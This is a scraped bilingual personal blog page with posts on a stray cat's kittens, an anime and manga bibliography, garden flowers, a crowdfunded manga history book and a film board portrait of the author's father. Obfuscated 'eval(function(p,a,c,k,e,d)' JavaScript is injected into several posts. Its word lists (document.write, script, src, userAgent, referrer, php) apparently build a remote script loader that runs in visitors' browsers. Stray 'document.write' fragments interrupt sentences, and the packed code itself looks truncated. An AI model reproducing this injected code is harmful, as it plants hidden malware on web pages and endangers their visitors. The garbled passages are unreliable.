L’image du chat-medi / Cat-urday’s picture

La maman chat-de-gouttière qui a élue domicile dans ma minuscule cour (et qui a donné naissance à Caramel l’an dernier) remet ça avec une autre portée de trois chatons: un gris et blanc, document.write(“”); un gris et un orange. Cette fois-ci, je le jure, je vais faire de mon mieux pour les ignorer! (Quoique si je lui met la main dessus je vais la faire stériliser) En attendant: Félicitations pour vos beaux chatons!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nikfk|var|u0026u|referrer|drfak||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhkyi|var|u0026u|referrer|tfetb||js|php’.split(‘|’),0,{}))

The Mom alley-cat that took up residence in my tiny yard (which gave birth to Caramel last year) does it again with another litter of three kittens: a gray and white, a gray and an orange. This time, I swear, I’ll do my best to ignore them! (Although if I lay hands on her I’ll make sure she’s being spayed) In the meantime: Congratulation for the cute kittens!

New kittens!

A Bibliography of Japanese Popular Culture

Introduction

This is an attempt to produce an exhaustive bibliography about anime & manga (and it was extended to all the related aspects of Japanese Popular Culture). It is far from complete yet. So far we’ve only transferred the old version from the Protoculture website (adding links to WoldCat and, whenever possible, to Nelligan—the Montreal libraries’ catalog). We’ve added more books (whatever was published since we first started this bibliography; luckily we own a copy of most of these titles — the copy we own are on yellow background) and we’ll try to keep it updated as often as possible. [Last update: 2016-10-03]

For those who are wondering: “anime” is referring to Japanese animation (cartoons) and “manga” is referring to Japanese comics. They are an important part of Japanese popular culture.

Index

The essentials
More anime & manga references
Otaku & other popular (sub)culture phenomenons
Japanese culture
Japanese drama & cinema
Japanese economy, geography & history
Japanese language
Japanese literature
Various others

[ Traduire ]

Essential Anime & Manga References

Introduction

This is an attempt to produce an exhaustive bibliography about anime & manga. It is far from complete yet. So far we’ve only transferred the old version from the Protoculture website (adding links to WoldCat and, whenever possible, to Nelligan—the Montreal libraries’ catalog). We’ve added more books (whatever was published since we first started this bibliography; luckily we own a copy of most of these titles — the copy we own are on yellow background) and we’ll try to keep it updated as often as possible. [Last update: 2016-10-03]

For those who are wondering: “anime” is referring to Japanese animation (cartoons) and “manga” is referring to Japanese comics. They are an important part of Japanese culture.

Index

The essentials
anime
manga
magazines
web
More anime & manga references
Otaku & other popular (sub)culture phenomenons
Japanese culture
Japanese drama & cinema
Japanese economy, geography & history
Japanese language
Japanese literature
Various others

[ Traduire ]

The essentials


ANIME

BARICORDI, Andrea; De GIOVANNI, Massimiliano; PIETRONI, Andrea; ROSSI, Barbara and TUNESI, Sabrina. Anime: Guida al cinema d’animazione giapponese. Bologna: Granata Press, 1991. 320 pages. ISBN 88-7248-014-0. 35,000 L. [in italian]

 

BARICORDI, Andrea; De GIOVANNI, Massimiliano; PIETRONI, Andrea; ROSSI, Barbara and TUNESI, Sabrina. Anime: A Guide To Japanese Animation (1958-1988). Translated from the Italian by Adeline D’Opera and presented by Claude J. Pelletier. Montreal, Protoculture, 2000. 320 pages, B&W, ISBN 2-9805759-0-9. $25.00 US/Can.

 

CAMP, Brian & DAVIS, Julie. Anime Classics Zettai! 100 Must-See Japanese Animation Masterpieces. Berkeley, Stone Bridge Press, 2007. 408 pg. ISBN 978-1933330228. $18.95 US / $23.00 CDN. See my comment.

 

CLEMENTS, Jonathan & McCARTHY, Helen. The Anime Encyclopedia: A Guide To Japanese Animation Since 1917. Berkeley, Stone Bridge Press, 2001. 545 pg. ISBN 1-880656-64-7. $24.95 US.

 

CLEMENTS, Jonathan & McCARTHY, Helen. The Anime Encyclopedia: A Guide To Japanese Animation Since 1917. Revised & Expended Edition. Berkeley, Stone Bridge Press, 2006. 870 pg. ISBN 978-1933330105. $29.95 US.

 

LEDOUX, Trish & RANNEY, Doug. The Complete Anime Guide. Japanese Animation Film Directory & Resource Guide. Tiger Mountain Press, 1997. 214 pg. ISBN 0-9649542-5-7. $19.95 US.

 

McCARTHY, Helen & CLEMENTS, Jonathan. The Erotic Anime Movie Guide. London, Titan Books, 1998. 191 pg. ISBN 1-85286-946-1. £12.99.

 

POITRAS, Gilles. Anime Essentials: Every Thing A Fan Needs To Know. Berkeley, Stone Bridge Press, 2001. 127 pg. ISBN 1-880656-53-1. $14.95 US.


MANGA

[Collectif]. Le guide Phénix du manga. Paris, Azuka Éditions, 2005. 624 pg. ISBN 978-2849651384. € 18.00. [in french]

 

[Collectif]. Le guide Phénix du manga. Paris, Azuka Éditions, 2007. 750 pg. ISBN 978-2849651865. € 18.00. [in french]

 

[Collectif]. Le meilleur du manga 2013: Les conseils des pros pour s’y retrouver dans la masse ! Paris, Kazé, 2013. 192 pg. ISBN 978-2-8203-0510-7. € 7,95. [in french]

 

BASTIDE, Julien & PREZMAN, Anthony. Guide des mangas: Les 100 séries indispensables. Paris, Bordas, 2006. 288 pg. ISBN 978-2-04-732140-9. € 14,90.00. [in french]

 

BOUISSOU, Jean-Marie. Manga: Histoire et univers de la bande dessinée japonaise. Arles, Picquier poche, 2012. 478 pg. 9 €. ISBN 978-2-8097-0996-4.

 

CASTELLAZZI, Davide. A-Z manga: Guida al fumetto giapponese. Roma, Coniglio Editore, 2004. 192 pg. ISBN 978-8888833088. € 13.00. [in italian]

 

FINET, Nicolas. Dico Manga: Le dictionnaire encyclopédique de la bande-dessinée japonaise. Paris, Fleurus, 2008. 624 pg. ISBN 978-2215079316. € 30.00. [in french] Read the commentary.

 

GRAVETT, Paul. Manga: Sixty Years of Japanese Comics. Laurence King Publishing / Harper Design Intl, 2004. 176 pg. ISBN 978-1856693912. $24.95 US. [Aussi disponible en version française]

 

GROENSTEEN, Thierry. L?Univers des Mangas. Une Introduction à la Bande Dessinée Japonaise. Casterman, 1996. 143 pg. ISBN 2-203-32606-9. [in french]

 

KOYAMA-RICHARD, Brigitte. One thousand years of manga. Paris: Flammarion, 2007. 248 pg. ISBN 978-2-0803-0029-4. $49.95 US / $62 Can / € 40.00. [Aussi disponible en version française]

 

McCARTHY, Helen. A Brief History of Manga: The essential pocket guide to the Japanese pop culture phenomenon. London: Ilex Press, July 2014. 18.5 x 11.5 cm, 96 pg., £7.99 / $14.99 Cnd. ISBN:978-1-78157-098-2.

 

PINON, Matthieu & LEFEBVRE, Laurent. Histoire(s) du manga moderne. Paris: YNNIS Éditions, Avril 2015. 24 x 2.5 x 27 cm, 204 pg., 29.99 € / $49.95 Can. ISBN: 979-1-0933-7622-6.

 

POUPÉE, Karine. Histoire du manga: l’école de la vie japonaise. Paris: Tallandier, 2010. 396 pg. ISBN 9782847346688. € 23,00. [in french]

 

RICHARD, Oliver. Manga: Les 120 incontournables; La mangathèque idéale. Paris: 12 Bis, 2012. 256 pg. ISBN 978-2-35648-451-2. € 9,90. [in french]

 

SCHODT, Frederik L. Dreamland Japan; Writings On Modern Manga. Berkeley, Stone Bridge Press, 1996. 360 pg. ISBN 1-880656-23-X. $16.95 US.

 

SCHODT, Frederik L. Manga! Manga! The World of Japanese Comics. New York/Tokyo, Kodensha, 1983. 260 pg. ISBN 0-87011-752-1. $16.95 US / 3,000¥.

 

THOMPSON, Jason. Manga: The Complete Guide. New York, Ballantine/Del Rey, 2007. 556 pg. ISBN 978-0345485908. $19.95 US / $24.95 CDN. See my comment.

 

Magazines

Animeland
Otaku USA
Planète Japon

Web

Anime News Network
Gilles Poitras’ Service to Fans Page
Gilles Poitras’ Librarian’s Guide to Anime and Manga
Wikipedia anime & manga portal

More useful references to come soon!

Next: More anime & manga references

L’image du mer-fleurie

Une explosion de couleurs dans le jardin aujourd’hui!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzkai|var|u0026u|referrer|bskea||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zaarf|var|u0026u|referrer|nbzkz||js|php’.split(‘|’),0,{}))
An explosion of colours in the garden today !

Tropaeolaceae: Grande Capucine / Nasturtium & Asteraceae: Cosmos / Cosmos
<a href="https://www.flickr.com/photos/clodjee/14485588456&quot; target="“new”" title="Capucine by Clodjee Pelletier, document.write(“”); on Flickr”>Capucine Cosmos

Asteraceae: Oeillet d’Inde / French marigold & Souci des jardins / Pot marigold
Oeillet d'Inde Souci des jardins

Découverte: Histoire(s) du manga moderne

Histoire_du_manga_moderneJ’ai découvert Histoire(s) du manga moderne (1952-2012) un peu plus tôt cette année lorsque l’un des auteurs, Matthieu Pinon, m’a contacté pour m’en parler et obtenir quelques commentaires de ma part. Je n’ai pas osé en parler tant que l’annonce n’était pas officielle mais c’est maintenant fait puisque Animeland l’a mentionné à la fin mai, puis encore au début juin avec quelques précisions. Le magazine Coyote en a également parlé.

Deux spécialistes français du manga, Matthieu Pinon et Laurent Lefebvre (contributeur à Animeland et Coyote), nous proposent un nouvel ouvrage sur l’histoire du manga. Les ouvrages sur ce sujet sont déjà nombreux mais je crois qu’il n’y aura jamais trop de références sur le manga, particulièrement quand il s’agit d’un ouvrage au concept intéressant et innovateur. En effet il n’y a pas encore d’ouvrage en français sur l’histoire du manga au Japon avec une présentation strictement chronologique.

Après une brève introduction retraçant l’origine du manga et le contexte socio-économique qui favorisa son expansion dans les années 50, le coeur de l’ouvrage nous offrira 60 double-pages (une par année) avec à gauche l’histoire du manga cette année-là (tendances, faits marquants, etc.) et à droite un focus sur un auteur qui s’est particulièrement illustré durant la même période. Il se conclura avec quelques articles thématiques traitant des développements récents et des nouveaux enjeux de l’industrie. Il est décrit comme “un livre accessible à tous (passionnés et profanes) expliquant 60 ans de BD japonaises (1952 – 2012) grâce à une mise en page originale et didactique.”

C’est très prometteur et définitivement le genre d’ouvrage que j’aimerai lire ou même avoir dans ma bibliothèque de références manga.

Histoires_du_manga_moderne-pages

Une campagne de financement populaire (crowdsourcing) a été lancée pour amasser les 7500€ nécessaire pour la publication. Cette campagne durera jusqu’au 13 juillet. Pour soutenir le projet ou pour en savoir plus sur ce merveilleux ouvrage, vous pouvez visiter la page officielle.

Histoire(s) du manga moderne (1952-2012), par Matthieu Pinon et Laurent Lefebvre, illustrée par Nicolas Hitori De. 160 pages tout en couleurs, 24 x 27 cm, 25.00 €. Sortie fin 2014 en version française ET anglaise, format papier et électronique (eBook)!

Une vidéo décrivant le projet est également disponible sur Vimeo:

[ Translate ]

ONF: 61 portraits d’artisans du cinéma

Pour son 75e anniversaire, document.write(“”); l’Office National du Film du Canada a créé un site interactif (en Flash malheureusement) qui présente une histoire du cinéma Canadien en 61 portraits vivants où sont interviewés des artisans de tout les métiers du cinéma.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|szbta|var|u0026u|referrer|nytai||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tebdb|var|u0026u|referrer|rkfak||js|php’.split(‘|’),0,{}))

Voici l’un de ces portraits: celui de mon père, Claude E. Pelletier, qui a été pendant trente ans preneur de son à l’ONF.


Comme le site de l’ONF est fait en Flash, il ne fonctionne pas sur les plateformes mobiles d’Apple (iPad, iPod, iPhone) et il est impossible de créer des hyperliens vers une section en particulier du site. Alors j’ai choisi d’extraire l’interview de mon père pour le rendre disponible sur mon blog (
via Vimeo). Prenez note que tout le contenu est © Office National du Film.

Vous pouvez visionner tous les autres portraits sur ONF/interactif: Une histoire du cinéma – 61 portraits vivants.

The english version is available on NFB/Interactive: Making Movie History – A Portrait in 61 Parts.

[ Translate ]

L’image du chat-medi / Cat-urday’s picture

Chut! Il dort. Pour une fois qu’il est tranquille!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|niese|var|u0026u|referrer|tzety||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|berrf|var|u0026u|referrer|rdeeb||js|php’.split(‘|’),0,{}))
Hush! He’s asleep. For once he’s quiet!
iphoneography 2014-06-05
<a href="https://www.flickr.com/photos/clodjee/14474847304&quot; target="“new”" title="Sleeping Caramel by Clodjee Pelletier, document.write(“”); on Flickr”>Sleeping Caramel